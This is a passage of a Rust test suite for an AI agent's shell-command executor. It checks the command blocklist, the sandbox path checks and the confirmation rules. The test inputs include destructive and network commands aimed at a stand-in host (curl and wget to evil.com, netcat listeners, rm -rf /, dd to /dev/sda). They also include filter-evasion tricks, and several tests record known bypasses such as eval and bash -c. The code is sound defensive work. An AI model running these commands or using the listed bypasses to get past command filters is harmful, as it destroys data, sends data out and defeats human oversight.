1204 assert!(executor.find_blocked_command("ls -la").is_none());
1205 assert!(executor.find_blocked_command("cat file.txt").is_none());
1206 assert!(executor.find_blocked_command("cargo build").is_none());
1207 }
1208
1209 #[test]
1210 fn partial_match_accepted_tradeoff() {
1211 let executor = ShellExecutor::new(&default_config());
1212 assert!(executor.find_blocked_command("sudoku").is_none());
1214 }
1215
1216 #[test]
1217 fn multiline_command_blocked() {
1218 let executor = ShellExecutor::new(&default_config());
1219 assert!(executor.find_blocked_command("echo ok\nsudo rm").is_some());
1220 }
1221
1222 #[test]
1223 fn dd_pattern_blocks_dd_if() {
1224 let executor = ShellExecutor::new(&default_config());
1225 assert!(
1226 executor
1227 .find_blocked_command("dd if=/dev/zero of=/dev/sda")
1228 .is_some()
1229 );
1230 }
1231
1232 #[test]
1233 fn mkfs_pattern_blocks_variants() {
1234 let executor = ShellExecutor::new(&default_config());
1235 assert!(
1236 executor
1237 .find_blocked_command("mkfs.ext4 /dev/sda")
1238 .is_some()
1239 );
1240 assert!(executor.find_blocked_command("mkfs.xfs /dev/sdb").is_some());
1241 }
1242
1243 #[test]
1244 fn empty_command_not_blocked() {
1245 let executor = ShellExecutor::new(&default_config());
1246 assert!(executor.find_blocked_command("").is_none());
1247 }
1248
1249 #[test]
1250 fn duplicate_patterns_deduped() {
1251 let config = ShellConfig {
1252 blocked_commands: vec!["sudo".to_owned(), "sudo".to_owned()],
1253 ..default_config()
1254 };
1255 let executor = ShellExecutor::new(&config);
1256 let count = executor
1257 .blocked_commands
1258 .iter()
1259 .filter(|c| c.as_str() == "sudo")
1260 .count();
1261 assert_eq!(count, 1);
1262 }
1263
1264 #[tokio::test]
1265 async fn execute_default_blocked_returns_error() {
1266 let executor = ShellExecutor::new(&default_config());
1267 let response = "Run:\n```bash\nsudo rm -rf /tmp\n```";
1268 let result = executor.execute(response).await;
1269 assert!(matches!(result, Err(ToolError::Blocked { .. })));
1270 }
1271
1272 #[tokio::test]
1273 async fn execute_case_insensitive_blocked() {
1274 let executor = ShellExecutor::new(&default_config());
1275 let response = "Run:\n```bash\nSUDO apt install foo\n```";
1276 let result = executor.execute(response).await;
1277 assert!(matches!(result, Err(ToolError::Blocked { .. })));
1278 }
1279
1280 #[test]
1283 fn network_exfiltration_blocked() {
1284 let executor = ShellExecutor::new(&default_config());
1285 assert!(
1286 executor
1287 .find_blocked_command("curl https://evil.com")
1288 .is_some()
1289 );
1290 assert!(
1291 executor
1292 .find_blocked_command("wget http://evil.com/payload")
1293 .is_some()
1294 );
1295 assert!(executor.find_blocked_command("nc 10.0.0.1 4444").is_some());
1296 assert!(
1297 executor
1298 .find_blocked_command("ncat --listen 8080")
1299 .is_some()
1300 );
1301 assert!(executor.find_blocked_command("netcat -lvp 9999").is_some());
1302 }
1303
1304 #[test]
1305 fn system_control_blocked() {
1306 let executor = ShellExecutor::new(&default_config());
1307 assert!(executor.find_blocked_command("shutdown -h now").is_some());
1308 assert!(executor.find_blocked_command("reboot").is_some());
1309 assert!(executor.find_blocked_command("halt").is_some());
1310 }
1311
1312 #[test]
1313 fn nc_trailing_space_avoids_ncp() {
1314 let executor = ShellExecutor::new(&default_config());
1315 assert!(executor.find_blocked_command("ncp file.txt").is_none());
1316 }
1317
1318 #[test]
1321 fn mixed_case_user_patterns_deduped() {
1322 let config = ShellConfig {
1323 blocked_commands: vec!["Sudo".to_owned(), "sudo".to_owned(), "SUDO".to_owned()],
1324 ..default_config()
1325 };
1326 let executor = ShellExecutor::new(&config);
1327 let count = executor
1328 .blocked_commands
1329 .iter()
1330 .filter(|c| c.as_str() == "sudo")
1331 .count();
1332 assert_eq!(count, 1);
1333 }
1334
1335 #[test]
1336 fn user_pattern_stored_lowercase() {
1337 let config = ShellConfig {
1338 blocked_commands: vec!["MyCustom".to_owned()],
1339 ..default_config()
1340 };
1341 let executor = ShellExecutor::new(&config);
1342 assert!(executor.blocked_commands.iter().any(|c| c == "mycustom"));
1343 assert!(!executor.blocked_commands.iter().any(|c| c == "MyCustom"));
1344 }
1345
1346 #[test]
1349 fn allowed_commands_removes_from_default() {
1350 let config = ShellConfig {
1351 allowed_commands: vec!["curl".to_owned()],
1352 ..default_config()
1353 };
1354 let executor = ShellExecutor::new(&config);
1355 assert!(
1356 executor
1357 .find_blocked_command("curl https://example.com")
1358 .is_none()
1359 );
1360 assert!(executor.find_blocked_command("sudo rm").is_some());
1361 }
1362
1363 #[test]
1364 fn allowed_commands_case_insensitive() {
1365 let config = ShellConfig {
1366 allowed_commands: vec!["CURL".to_owned()],
1367 ..default_config()
1368 };
1369 let executor = ShellExecutor::new(&config);
1370 assert!(
1371 executor
1372 .find_blocked_command("curl https://example.com")
1373 .is_none()
1374 );
1375 }
1376
1377 #[test]
1378 fn allowed_does_not_override_explicit_block() {
1379 let config = ShellConfig {
1380 blocked_commands: vec!["curl".to_owned()],
1381 allowed_commands: vec!["curl".to_owned()],
1382 ..default_config()
1383 };
1384 let executor = ShellExecutor::new(&config);
1385 assert!(
1386 executor
1387 .find_blocked_command("curl https://example.com")
1388 .is_some()
1389 );
1390 }
1391
1392 #[test]
1393 fn allowed_unknown_command_ignored() {
1394 let config = ShellConfig {
1395 allowed_commands: vec!["nonexistent-cmd".to_owned()],
1396 ..default_config()
1397 };
1398 let executor = ShellExecutor::new(&config);
1399 assert!(executor.find_blocked_command("sudo rm").is_some());
1400 assert!(
1401 executor
1402 .find_blocked_command("curl https://example.com")
1403 .is_some()
1404 );
1405 }
1406
1407 #[test]
1408 fn empty_allowed_commands_changes_nothing() {
1409 let executor = ShellExecutor::new(&default_config());
1410 assert!(
1411 executor
1412 .find_blocked_command("curl https://example.com")
1413 .is_some()
1414 );
1415 assert!(executor.find_blocked_command("sudo rm").is_some());
1416 assert!(
1417 executor
1418 .find_blocked_command("wget http://evil.com")
1419 .is_some()
1420 );
1421 }
1422
1423 #[test]
1426 fn extract_paths_from_code() {
1427 let paths = extract_paths("cat /etc/passwd && ls /var/log");
1428 assert_eq!(paths, vec!["/etc/passwd".to_owned(), "/var/log".to_owned()]);
1429 }
1430
1431 #[test]
1432 fn extract_paths_handles_trailing_chars() {
1433 let paths = extract_paths("cat /etc/passwd; echo /var/log|");
1434 assert_eq!(paths, vec!["/etc/passwd".to_owned(), "/var/log".to_owned()]);
1435 }
1436
1437 #[test]
1438 fn extract_paths_detects_relative() {
1439 let paths = extract_paths("cat ./file.txt ../other");
1440 assert_eq!(paths, vec!["./file.txt".to_owned(), "../other".to_owned()]);
1441 }
1442
1443 #[test]
1444 fn sandbox_allows_cwd_by_default() {
1445 let executor = ShellExecutor::new(&default_config());
1446 let cwd = std::env::current_dir().unwrap();
1447 let cwd_path = cwd.display().to_string();
1448 let code = format!("cat {cwd_path}/file.txt");
1449 assert!(executor.validate_sandbox(&code).is_ok());
1450 }
1451
1452 #[test]
1453 fn sandbox_rejects_path_outside_allowed() {
1454 let config = sandbox_config(vec!["/tmp/test-sandbox".into()]);
1455 let executor = ShellExecutor::new(&config);
1456 let result = executor.validate_sandbox("cat /etc/passwd");
1457 assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1458 }
1459
1460 #[test]
1461 fn sandbox_no_absolute_paths_passes() {
1462 let config = sandbox_config(vec!["/tmp".into()]);
1463 let executor = ShellExecutor::new(&config);
1464 assert!(executor.validate_sandbox("echo hello").is_ok());
1465 }
1466
1467 #[test]
1468 fn sandbox_rejects_dotdot_traversal() {
1469 let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1470 let executor = ShellExecutor::new(&config);
1471 let result = executor.validate_sandbox("cat ../../../etc/passwd");
1472 assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1473 }
1474
1475 #[test]
1476 fn sandbox_rejects_bare_dotdot() {
1477 let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1478 let executor = ShellExecutor::new(&config);
1479 let result = executor.validate_sandbox("cd ..");
1480 assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1481 }
1482
1483 #[test]
1484 fn sandbox_rejects_relative_dotslash_outside() {
1485 let config = sandbox_config(vec!["/nonexistent/sandbox".into()]);
1486 let executor = ShellExecutor::new(&config);
1487 let result = executor.validate_sandbox("cat ./secret.txt");
1488 assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1489 }
1490
1491 #[test]
1492 fn sandbox_rejects_absolute_with_embedded_dotdot() {
1493 let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1494 let executor = ShellExecutor::new(&config);
1495 let result = executor.validate_sandbox("cat /tmp/sandbox/../../../etc/passwd");
1496 assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1497 }
1498
1499 #[test]
1500 fn has_traversal_detects_dotdot() {
1501 assert!(has_traversal("../etc/passwd"));
1502 assert!(has_traversal("./foo/../bar"));
1503 assert!(has_traversal("/tmp/sandbox/../../etc"));
1504 assert!(has_traversal(".."));
1505 assert!(!has_traversal("./safe/path"));
1506 assert!(!has_traversal("/absolute/path"));
1507 assert!(!has_traversal("no-dots-here"));
1508 }
1509
1510 #[test]
1511 fn extract_paths_detects_dotdot_standalone() {
1512 let paths = extract_paths("cd ..");
1513 assert_eq!(paths, vec!["..".to_owned()]);
1514 }
1515
1516 #[test]
1519 fn allow_network_false_blocks_network_commands() {
1520 let config = ShellConfig {
1521 allow_network: false,
1522 ..default_config()
1523 };
1524 let executor = ShellExecutor::new(&config);
1525 assert!(
1526 executor
1527 .find_blocked_command("curl https://example.com")
1528 .is_some()
1529 );
1530 assert!(
1531 executor
1532 .find_blocked_command("wget http://example.com")
1533 .is_some()
1534 );
1535 assert!(executor.find_blocked_command("nc 10.0.0.1 4444").is_some());
1536 }
1537
1538 #[test]
1539 fn allow_network_true_keeps_default_behavior() {
1540 let config = ShellConfig {
1541 allow_network: true,
1542 ..default_config()
1543 };
1544 let executor = ShellExecutor::new(&config);
1545 assert!(
1547 executor
1548 .find_blocked_command("curl https://example.com")
1549 .is_some()
1550 );
1551 }
1552
1553 #[test]
1556 fn find_confirm_command_matches_pattern() {
1557 let config = ShellConfig {
1558 confirm_patterns: vec!["rm ".into(), "git push -f".into()],
1559 ..default_config()
1560 };
1561 let executor = ShellExecutor::new(&config);
1562 assert_eq!(
1563 executor.find_confirm_command("rm /tmp/file.txt"),
1564 Some("rm ")
1565 );
1566 assert_eq!(
1567 executor.find_confirm_command("git push -f origin main"),
1568 Some("git push -f")
1569 );
1570 }
1571
1572 #[test]
1573 fn find_confirm_command_case_insensitive() {
1574 let config = ShellConfig {
1575 confirm_patterns: vec!["drop table".into()],
1576 ..default_config()
1577 };
1578 let executor = ShellExecutor::new(&config);
1579 assert!(executor.find_confirm_command("DROP TABLE users").is_some());
1580 }
1581
1582 #[test]
1583 fn find_confirm_command_no_match() {
1584 let config = ShellConfig {
1585 confirm_patterns: vec!["rm ".into()],
1586 ..default_config()
1587 };
1588 let executor = ShellExecutor::new(&config);
1589 assert!(executor.find_confirm_command("echo hello").is_none());
1590 }
1591
1592 #[tokio::test]
1593 async fn confirmation_required_returned() {
1594 let config = ShellConfig {
1595 confirm_patterns: vec!["rm ".into()],
1596 ..default_config()
1597 };
1598 let executor = ShellExecutor::new(&config);
1599 let response = "```bash\nrm file.txt\n```";
1600 let result = executor.execute(response).await;
1601 assert!(matches!(
1602 result,
1603 Err(ToolError::ConfirmationRequired { .. })
1604 ));
1605 }
1606
1607 #[tokio::test]
1608 async fn execute_confirmed_skips_confirmation() {
1609 let config = ShellConfig {
1610 confirm_patterns: vec!["echo".into()],
1611 ..default_config()
1612 };
1613 let executor = ShellExecutor::new(&config);
1614 let response = "```bash\necho confirmed\n```";
1615 let result = executor.execute_confirmed(response).await;
1616 assert!(result.is_ok());
1617 let output = result.unwrap().unwrap();
1618 assert!(output.summary.contains("confirmed"));
1619 }
1620
1621 #[test]
1624 fn default_confirm_patterns_loaded() {
1625 let config = ShellConfig::default();
1626 assert!(!config.confirm_patterns.is_empty());
1627 assert!(config.confirm_patterns.contains(&"rm ".to_owned()));
1628 assert!(config.confirm_patterns.contains(&"git push -f".to_owned()));
1629 assert!(config.confirm_patterns.contains(&"$(".to_owned()));
1630 assert!(config.confirm_patterns.contains(&"`".to_owned()));
1631 }
1632
1633 #[test]
1636 fn backslash_bypass_blocked() {
1637 let executor = ShellExecutor::new(&default_config());
1638 assert!(executor.find_blocked_command("su\\do rm").is_some());
1640 }
1641
1642 #[test]
1643 fn hex_escape_bypass_blocked() {
1644 let executor = ShellExecutor::new(&default_config());
1645 assert!(
1647 executor
1648 .find_blocked_command("$'\\x73\\x75\\x64\\x6f' rm")
1649 .is_some()
1650 );
1651 }
1652
1653 #[test]
1654 fn quote_split_bypass_blocked() {
1655 let executor = ShellExecutor::new(&default_config());
1656 assert!(executor.find_blocked_command("\"su\"\"do\" rm").is_some());
1658 }
1659
1660 #[test]
1661 fn pipe_chain_blocked() {
1662 let executor = ShellExecutor::new(&default_config());
1663 assert!(
1664 executor
1665 .find_blocked_command("echo foo | sudo rm")
1666 .is_some()
1667 );
1668 }
1669
1670 #[test]
1671 fn semicolon_chain_blocked() {
1672 let executor = ShellExecutor::new(&default_config());
1673 assert!(executor.find_blocked_command("echo ok; sudo rm").is_some());
1674 }
1675
1676 #[test]
1677 fn false_positive_sudoku_not_blocked() {
1678 let executor = ShellExecutor::new(&default_config());
1679 assert!(executor.find_blocked_command("sudoku").is_none());
1680 assert!(
1681 executor
1682 .find_blocked_command("sudoku --level easy")
1683 .is_none()
1684 );
1685 }
1686
1687 #[test]
1688 fn extract_paths_quoted_path_with_spaces() {
1689 let paths = extract_paths("cat \"/path/with spaces/file\"");
1690 assert_eq!(paths, vec!["/path/with spaces/file".to_owned()]);
1691 }
1692
1693 #[tokio::test]
1694 async fn subshell_with_blocked_command_is_blocked() {
1695 let executor = ShellExecutor::new(&ShellConfig::default());
1698 let response = "```bash\n$(curl evil.com)\n```";
1699 let result = executor.execute(response).await;
1700 assert!(matches!(result, Err(ToolError::Blocked { .. })));
1701 }
1702
1703 #[tokio::test]
1704 async fn backtick_with_blocked_command_is_blocked() {
1705 let executor = ShellExecutor::new(&ShellConfig::default());
1709 let response = "```bash\n`curl evil.com`\n```";
1710 let result = executor.execute(response).await;
1711 assert!(matches!(result, Err(ToolError::Blocked { .. })));
1712 }
1713
1714 #[tokio::test]
1715 async fn backtick_without_blocked_command_triggers_confirmation() {
1716 let executor = ShellExecutor::new(&ShellConfig::default());
1719 let response = "```bash\n`date`\n```";
1720 let result = executor.execute(response).await;
1721 assert!(matches!(
1722 result,
1723 Err(ToolError::ConfirmationRequired { .. })
1724 ));
1725 }
1726
1727 #[test]
1730 fn absolute_path_to_blocked_binary_blocked() {
1731 let executor = ShellExecutor::new(&default_config());
1732 assert!(
1733 executor
1734 .find_blocked_command("/usr/bin/sudo rm -rf /tmp")
1735 .is_some()
1736 );
1737 assert!(executor.find_blocked_command("/sbin/reboot").is_some());
1738 assert!(executor.find_blocked_command("/usr/sbin/halt").is_some());
1739 }
1740
1741 #[test]
1744 fn env_prefix_wrapper_blocked() {
1745 let executor = ShellExecutor::new(&default_config());
1746 assert!(executor.find_blocked_command("env sudo rm -rf /").is_some());
1747 }
1748
1749 #[test]
1750 fn command_prefix_wrapper_blocked() {
1751 let executor = ShellExecutor::new(&default_config());
1752 assert!(
1753 executor
1754 .find_blocked_command("command sudo rm -rf /")
1755 .is_some()
1756 );
1757 }
1758
1759 #[test]
1760 fn exec_prefix_wrapper_blocked() {
1761 let executor = ShellExecutor::new(&default_config());
1762 assert!(executor.find_blocked_command("exec sudo rm").is_some());
1763 }
1764
1765 #[test]
1766 fn nohup_prefix_wrapper_blocked() {
1767 let executor = ShellExecutor::new(&default_config());
1768 assert!(executor.find_blocked_command("nohup reboot now").is_some());
1769 }
1770
1771 #[test]
1772 fn absolute_path_via_env_wrapper_blocked() {
1773 let executor = ShellExecutor::new(&default_config());
1774 assert!(
1775 executor
1776 .find_blocked_command("env /usr/bin/sudo rm -rf /")
1777 .is_some()
1778 );
1779 }
1780
1781 #[test]
1784 fn octal_escape_bypass_blocked() {
1785 let executor = ShellExecutor::new(&default_config());
1786 assert!(
1788 executor
1789 .find_blocked_command("$'\\163\\165\\144\\157' rm")
1790 .is_some()
1791 );
1792 }
1793
1794 #[tokio::test]
1795 async fn with_audit_attaches_logger() {
1796 use crate::audit::AuditLogger;
1797 use crate::config::AuditConfig;
1798 let config = default_config();
1799 let executor = ShellExecutor::new(&config);
1800 let audit_config = AuditConfig {
1801 enabled: true,
1802 destination: "stdout".into(),
1803 };
1804 let logger = std::sync::Arc::new(AuditLogger::from_config(&audit_config).await.unwrap());
1805 let executor = executor.with_audit(logger);
1806 assert!(executor.audit_logger.is_some());
1807 }
1808
1809 #[test]
1810 fn chrono_now_returns_valid_timestamp() {
1811 let ts = chrono_now();
1812 assert!(!ts.is_empty());
1813 let parsed: u64 = ts.parse().unwrap();
1814 assert!(parsed > 0);
1815 }
1816
1817 #[cfg(unix)]
1818 #[tokio::test]
1819 async fn execute_bash_injects_extra_env() {
1820 let mut env = std::collections::HashMap::new();
1821 env.insert(
1822 "ZEPH_TEST_INJECTED_VAR".to_owned(),
1823 "hello-from-env".to_owned(),
1824 );
1825 let (result, code) = execute_bash(
1826 "echo $ZEPH_TEST_INJECTED_VAR",
1827 Duration::from_secs(5),
1828 None,
1829 None,
1830 Some(&env),
1831 )
1832 .await;
1833 assert_eq!(code, 0);
1834 assert!(result.contains("hello-from-env"));
1835 }
1836
1837 #[cfg(unix)]
1838 #[tokio::test]
1839 async fn shell_executor_set_skill_env_injects_vars() {
1840 let config = ShellConfig {
1841 timeout: 5,
1842 allowed_commands: vec![],
1843 blocked_commands: vec![],
1844 allowed_paths: vec![],
1845 confirm_patterns: vec![],
1846 allow_network: false,
1847 };
1848 let executor = ShellExecutor::new(&config);
1849 let mut env = std::collections::HashMap::new();
1850 env.insert("MY_SKILL_SECRET".to_owned(), "injected-value".to_owned());
1851 executor.set_skill_env(Some(env));
1852 use crate::executor::ToolExecutor;
1853 let result = executor
1854 .execute("```bash\necho $MY_SKILL_SECRET\n```")
1855 .await
1856 .unwrap()
1857 .unwrap();
1858 assert!(result.summary.contains("injected-value"));
1859 executor.set_skill_env(None);
1860 }
1861
1862 #[cfg(unix)]
1863 #[tokio::test]
1864 async fn execute_bash_error_handling() {
1865 let (result, code) = execute_bash("false", Duration::from_secs(5), None, None, None).await;
1866 assert_eq!(result, "(no output)");
1867 assert_eq!(code, 1);
1868 }
1869
1870 #[cfg(unix)]
1871 #[tokio::test]
1872 async fn execute_bash_command_not_found() {
1873 let (result, _) = execute_bash(
1874 "nonexistent-command-xyz",
1875 Duration::from_secs(5),
1876 None,
1877 None,
1878 None,
1879 )
1880 .await;
1881 assert!(result.contains("[stderr]") || result.contains("[error]"));
1882 }
1883
1884 #[test]
1885 fn extract_paths_empty() {
1886 assert!(extract_paths("").is_empty());
1887 }
1888
1889 #[tokio::test]
1890 async fn policy_deny_blocks_command() {
1891 let policy = PermissionPolicy::from_legacy(&["forbidden".to_owned()], &[]);
1892 let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1893 let response = "```bash\nforbidden command\n```";
1894 let result = executor.execute(response).await;
1895 assert!(matches!(result, Err(ToolError::Blocked { .. })));
1896 }
1897
1898 #[tokio::test]
1899 async fn policy_ask_requires_confirmation() {
1900 let policy = PermissionPolicy::from_legacy(&[], &["risky".to_owned()]);
1901 let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1902 let response = "```bash\nrisky operation\n```";
1903 let result = executor.execute(response).await;
1904 assert!(matches!(
1905 result,
1906 Err(ToolError::ConfirmationRequired { .. })
1907 ));
1908 }
1909
1910 #[tokio::test]
1911 async fn policy_allow_skips_checks() {
1912 use crate::permissions::PermissionRule;
1913 use std::collections::HashMap;
1914 let mut rules = HashMap::new();
1915 rules.insert(
1916 "bash".to_owned(),
1917 vec![PermissionRule {
1918 pattern: "*".to_owned(),
1919 action: PermissionAction::Allow,
1920 }],
1921 );
1922 let policy = PermissionPolicy::new(rules);
1923 let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1924 let response = "```bash\necho hello\n```";
1925 let result = executor.execute(response).await;
1926 assert!(result.is_ok());
1927 }
1928
1929 #[tokio::test]
1930 async fn blocked_command_logged_to_audit() {
1931 use crate::audit::AuditLogger;
1932 use crate::config::AuditConfig;
1933 let config = ShellConfig {
1934 blocked_commands: vec!["dangerous".to_owned()],
1935 ..default_config()
1936 };
1937 let audit_config = AuditConfig {
1938 enabled: true,
1939 destination: "stdout".into(),
1940 };
1941 let logger = std::sync::Arc::new(AuditLogger::from_config(&audit_config).await.unwrap());
1942 let executor = ShellExecutor::new(&config).with_audit(logger);
1943 let response = "```bash\ndangerous command\n```";
1944 let result = executor.execute(response).await;
1945 assert!(matches!(result, Err(ToolError::Blocked { .. })));
1946 }
1947
1948 #[test]
1949 fn tool_definitions_returns_bash() {
1950 let executor = ShellExecutor::new(&default_config());
1951 let defs = executor.tool_definitions();
1952 assert_eq!(defs.len(), 1);
1953 assert_eq!(defs[0].id, "bash");
1954 assert_eq!(
1955 defs[0].invocation,
1956 crate::registry::InvocationHint::FencedBlock("bash")
1957 );
1958 }
1959
1960 #[test]
1961 fn tool_definitions_schema_has_command_param() {
1962 let executor = ShellExecutor::new(&default_config());
1963 let defs = executor.tool_definitions();
1964 let obj = defs[0].schema.as_object().unwrap();
1965 let props = obj["properties"].as_object().unwrap();
1966 assert!(props.contains_key("command"));
1967 let req = obj["required"].as_array().unwrap();
1968 assert!(req.iter().any(|v| v.as_str() == Some("command")));
1969 }
1970
1971 #[tokio::test]
1972 #[cfg(not(target_os = "windows"))]
1973 async fn cancel_token_kills_child_process() {
1974 let token = CancellationToken::new();
1975 let token_clone = token.clone();
1976 tokio::spawn(async move {
1977 tokio::time::sleep(Duration::from_millis(100)).await;
1978 token_clone.cancel();
1979 });
1980 let (result, code) = execute_bash(
1981 "sleep 60",
1982 Duration::from_secs(30),
1983 None,
1984 Some(&token),
1985 None,
1986 )
1987 .await;
1988 assert_eq!(code, 130);
1989 assert!(result.contains("[cancelled]"));
1990 }
1991
1992 #[tokio::test]
1993 #[cfg(not(target_os = "windows"))]
1994 async fn cancel_token_none_does_not_cancel() {
1995 let (result, code) =
1996 execute_bash("echo ok", Duration::from_secs(5), None, None, None).await;
1997 assert_eq!(code, 0);
1998 assert!(result.contains("ok"));
1999 }
2000
2001 #[tokio::test]
2002 #[cfg(not(target_os = "windows"))]
2003 async fn cancel_kills_child_process_group() {
2004 use std::path::Path;
2005 let marker = format!("/tmp/zeph-pgkill-test-{}", std::process::id());
2006 let script = format!("bash -c 'sleep 30 && touch {marker}' & sleep 60");
2007 let token = CancellationToken::new();
2008 let token_clone = token.clone();
2009 tokio::spawn(async move {
2010 tokio::time::sleep(Duration::from_millis(200)).await;
2011 token_clone.cancel();
2012 });
2013 let (result, code) =
2014 execute_bash(&script, Duration::from_secs(30), None, Some(&token), None).await;
2015 assert_eq!(code, 130);
2016 assert!(result.contains("[cancelled]"));
2017 tokio::time::sleep(Duration::from_millis(500)).await;
2019 assert!(
2020 !Path::new(&marker).exists(),
2021 "subprocess should have been killed with process group"
2022 );
2023 }
2024
2025 #[tokio::test]
2026 #[cfg(not(target_os = "windows"))]
2027 async fn shell_executor_cancel_returns_cancelled_error() {
2028 let token = CancellationToken::new();
2029 let token_clone = token.clone();
2030 tokio::spawn(async move {
2031 tokio::time::sleep(Duration::from_millis(100)).await;
2032 token_clone.cancel();
2033 });
2034 let executor = ShellExecutor::new(&default_config()).with_cancel_token(token);
2035 let response = "```bash\nsleep 60\n```";
2036 let result = executor.execute(response).await;
2037 assert!(matches!(result, Err(ToolError::Cancelled)));
2038 }
2039
2040 #[tokio::test]
2041 #[cfg(not(target_os = "windows"))]
2042 async fn execute_tool_call_valid_command() {
2043 let executor = ShellExecutor::new(&default_config());
2044 let call = ToolCall {
2045 tool_id: "bash".to_owned(),
2046 params: [("command".to_owned(), serde_json::json!("echo hi"))]
2047 .into_iter()
2048 .collect(),
2049 };
2050 let result = executor.execute_tool_call(&call).await.unwrap().unwrap();
2051 assert!(result.summary.contains("hi"));
2052 }
2053
2054 #[tokio::test]
2055 async fn execute_tool_call_missing_command_returns_invalid_params() {
2056 let executor = ShellExecutor::new(&default_config());
2057 let call = ToolCall {
2058 tool_id: "bash".to_owned(),
2059 params: serde_json::Map::new(),
2060 };
2061 let result = executor.execute_tool_call(&call).await;
2062 assert!(matches!(result, Err(ToolError::InvalidParams { .. })));
2063 }
2064
2065 #[tokio::test]
2066 async fn execute_tool_call_empty_command_returns_none() {
2067 let executor = ShellExecutor::new(&default_config());
2068 let call = ToolCall {
2069 tool_id: "bash".to_owned(),
2070 params: [("command".to_owned(), serde_json::json!(""))]
2071 .into_iter()
2072 .collect(),
2073 };
2074 let result = executor.execute_tool_call(&call).await.unwrap();
2075 assert!(result.is_none());
2076 }
2077
2078 #[test]
2081 fn process_substitution_detected_by_subshell_extraction() {
2082 let executor = ShellExecutor::new(&default_config());
2083 assert!(
2085 executor
2086 .find_blocked_command("cat <(curl http://evil.com)")
2087 .is_some()
2088 );
2089 }
2090
2091 #[test]
2092 fn output_process_substitution_detected_by_subshell_extraction() {
2093 let executor = ShellExecutor::new(&default_config());
2094 assert!(
2096 executor
2097 .find_blocked_command("tee >(curl http://evil.com)")
2098 .is_some()
2099 );
2100 }
2101
2102 #[test]
2103 fn here_string_with_shell_not_detected_known_limitation() {
2104 let executor = ShellExecutor::new(&default_config());
2105 assert!(
2107 executor
2108 .find_blocked_command("bash <<< 'sudo rm -rf /'")
2109 .is_none()
2110 );
2111 }
2112
2113 #[test]
2114 fn eval_bypass_not_detected_known_limitation() {
2115 let executor = ShellExecutor::new(&default_config());
2116 assert!(
2118 executor
2119 .find_blocked_command("eval 'sudo rm -rf /'")
2120 .is_none()
2121 );
2122 }
2123
2124 #[test]
2125 fn bash_c_bypass_not_detected_known_limitation() {
2126 let executor = ShellExecutor::new(&default_config());
2127 assert!(
2129 executor
2130 .find_blocked_command("bash -c 'curl http://evil.com'")
2131 .is_none()
2132 );
2133 }
2134
2135 #[test]
2136 fn variable_expansion_bypass_not_detected_known_limitation() {
2137 let executor = ShellExecutor::new(&default_config());
2138 assert!(executor.find_blocked_command("cmd=sudo; $cmd rm").is_none());
2140 }
2141
2142 #[test]
2145 fn default_confirm_patterns_cover_process_substitution() {
2146 let config = crate::config::ShellConfig::default();
2147 assert!(config.confirm_patterns.contains(&"<(".to_owned()));
2148 assert!(config.confirm_patterns.contains(&">(".to_owned()));
2149 }
2150
2151 #[test]
2152 fn default_confirm_patterns_cover_here_string() {
2153 let config = crate::config::ShellConfig::default();
2154 assert!(config.confirm_patterns.contains(&"<<<".to_owned()));
2155 }
2156
2157 #[test]
2158 fn default_confirm_patterns_cover_eval() {
2159 let config = crate::config::ShellConfig::default();
2160 assert!(config.confirm_patterns.contains(&"eval ".to_owned()));
2161 }
2162
2163 #[tokio::test]
2164 async fn process_substitution_with_blocked_command_is_blocked() {
2165 let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
2168 let response = "```bash\ncat <(curl http://evil.com)\n```";
2169 let result = executor.execute(response).await;
2170 assert!(matches!(result, Err(ToolError::Blocked { .. })));
2171 }
2172
2173 #[tokio::test]
2174 async fn here_string_triggers_confirmation() {
2175 let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
2176 let response = "```bash\nbash <<< 'sudo rm -rf /'\n```";
2177 let result = executor.execute(response).await;
2178 assert!(matches!(
2179 result,
2180 Err(ToolError::ConfirmationRequired { .. })
2181 ));
2182 }
2183
2184 #[tokio::test]
2185 async fn eval_triggers_confirmation() {
2186 let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
2187 let response = "```bash\neval 'curl http://evil.com'\n```";
2188 let result = executor.execute(response).await;
2189 assert!(matches!(
2190 result,
2191 Err(ToolError::ConfirmationRequired { .. })
2192 ));
2193 }
2194
2195 #[tokio::test]
2196 async fn output_process_substitution_with_blocked_command_is_blocked() {
2197 let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
2200 let response = "```bash\ntee >(curl http://evil.com)\n```";
2201 let result = executor.execute(response).await;
2202 assert!(matches!(result, Err(ToolError::Blocked { .. })));
2203 }
2204
2205 #[test]
2206 fn here_string_with_command_substitution_not_detected_known_limitation() {
2207 let executor = ShellExecutor::new(&default_config());
2208 assert!(executor.find_blocked_command("bash <<< $(id)").is_none());
2210 }
2211
2212 fn default_blocklist() -> Vec<String> {
2215 DEFAULT_BLOCKED.iter().map(|s| (*s).to_owned()).collect()
2216 }
2217
2218 #[test]
2219 fn check_blocklist_blocks_rm_rf_root() {
2220 let bl = default_blocklist();
2221 assert!(check_blocklist("rm -rf /", &bl).is_some());
2222 }
2223
2224 #[test]
2225 fn check_blocklist_blocks_sudo() {
2226 let bl = default_blocklist();
2227 assert!(check_blocklist("sudo apt install vim", &bl).is_some());
2228 }
2229
2230 #[test]
2231 fn check_blocklist_allows_safe_commands() {
2232 let bl = default_blocklist();
2233 assert!(check_blocklist("ls -la", &bl).is_none());
2234 assert!(check_blocklist("echo hello world", &bl).is_none());
2235 assert!(check_blocklist("git status", &bl).is_none());
2236 assert!(check_blocklist("cargo build --release", &bl).is_none());
2237 }
2238
2239 #[test]
2240 fn check_blocklist_blocks_subshell_dollar_paren() {
2241 let bl = default_blocklist();
2242 assert!(check_blocklist("echo $(sudo id)", &bl).is_some());
2244 assert!(check_blocklist("echo $(rm -rf /tmp)", &bl).is_some());
2245 }
2246
2247 #[test]
2248 fn check_blocklist_blocks_subshell_backtick() {
2249 let bl = default_blocklist();
